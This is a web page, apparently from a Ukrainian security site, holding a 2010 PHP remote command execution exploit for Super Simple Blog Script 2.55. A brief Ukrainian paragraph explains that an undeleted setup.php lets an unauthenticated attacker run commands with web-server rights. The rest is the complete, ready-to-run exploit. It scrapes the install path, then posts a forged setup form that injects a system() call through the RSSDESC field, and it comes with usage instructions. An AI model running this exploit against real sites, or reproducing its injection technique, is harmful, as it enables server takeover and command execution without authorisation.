Super Simple Blog Script Remote Command Execution Exploit
Вразливість в даному продукті виникає через недостатню фільтрацію даних. Система після встановлення не попереджає користувача про необхідність видалення файлу setup.php, внаслідок неавторизованого доступу до цього файлу атакуючий має можливість виконати будь-яку команду в системі з правами веб-сервера. Нижче приведений код експлойту.
<?php
/**
* @author Paketik [UASC.org.ua]
* @copyright 2010
* @Super Simple Blog Script Remote Command Execution Exploit
* @Version 2.55
* @Vendor www.supersimple.org
* @Risk Very high
* @usage exp.php domen path command
* @example php exp.php http://localhost/SuperSimpleBlogScript ls -la
*/
error_reporting(false);
if(count($argv) < 3) { banner(); } else
{
echo count($argv) ;
$command = "";
for($i=2; $i<count($argv); $i++)
{
$command .= $argv[$i] . " ";
}
$command = trim($command);
exploit($argv[1],$command);
}
function exploit($target,$command)
{
$rnd = randomtab();
print "[#] Target: ".$target."\r\n";
print "[#] Command: ". $command."\r\n";
print "[#] Generating random table name: ". $rnd."\r\n";
print "[#] Parsing Full Path ";
$content = file_get_contents($target."/setup.php");
$p = getpath($content);
print $p."\r\n";
print "[#] Exploiting....\r\n";
$_data = array("BASEURL" => $p,
"PAGETITLE"=>"Title",
"PERPAGE"=>20,
"BLOGPAGENAME"=>"index",
"USER0"=>"qaz",
"PASSWORD0"=>"qaz",
"IMAGESPERENTRY"=>1,
"MULTIUSERS"=>"false",
"COMMENT"=>"true",
"TABLENAME"=>$rnd,
"TIMEOFFSET"=>0,
"RSSDESC"=>"rss'; system('".$command."'); //",
"url"=>$target,
"submit"=>"");
$data = array();
list($header, $content) = PostRequest($target."/setup.php", $target."setup.php", $_data);
//print $header;
if( strpos($header,"success"))
{
print "[###] Successful! View result:$target \r\n";
} else
{
print "[---] Exploit Failed
\r\n";
die();
}
}
function randomtab()
{
$a = array("a","b","c","d","e","f","g",1,2,3,4,5,6,7,8,9,0);
$string = $a[rand(0,16)].$a[rand(0,16)].$a[rand(0,16)].$a[rand(0,16)].$a[rand(0,16)];
return $string;
}
function PostRequest($url, $referer, $_data) {
$data = array();
while(list($n,$v) = each($_data)){
$data[] = "$n=$v";
}
$data = implode('&', $data);
$url = parse_url($url);
if ($url['scheme'] != 'http') {
die('Only HTTP request are supported !');
}
$host = $url['host'];
$path = $url['path'];
$fp = fsockopen($host, 80);
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Referer: $referer\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ". strlen($data) ."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data);
$result = '';
while(!feof($fp)) {
$result .= fgets($fp, 128);
}
fclose($fp);
$result = explode("\r\n\r\n", $result, 2);
$header = isset($result[0]) ? $result[0] : '';
$content = isset($result[1]) ? $result[1] : '';
return array($header, $content);
}
function getpath($content)
{
$a = preg_match('/BASEURL" value="(.+?)"/i',$content,$m);
return $m[1];
}
function banner()
{
print "/**\r\n
* @author Paketik [UASC.org.ua]\r\n
* @copyright 2010\r\n
* @Super Simple Blog Script Remote Command Execution Exploit \r\n
* @Version 2.55 \r\n
* @Vendor www.supersimple.org \r\n
* @Risk Very high\r\n
* @usage exp.php domen path command\r\n
* @example php exp.php http://localhost/SuperSimpleBlogScript ls -la \r\n
*/";
die();
}
?>






Останні коментарі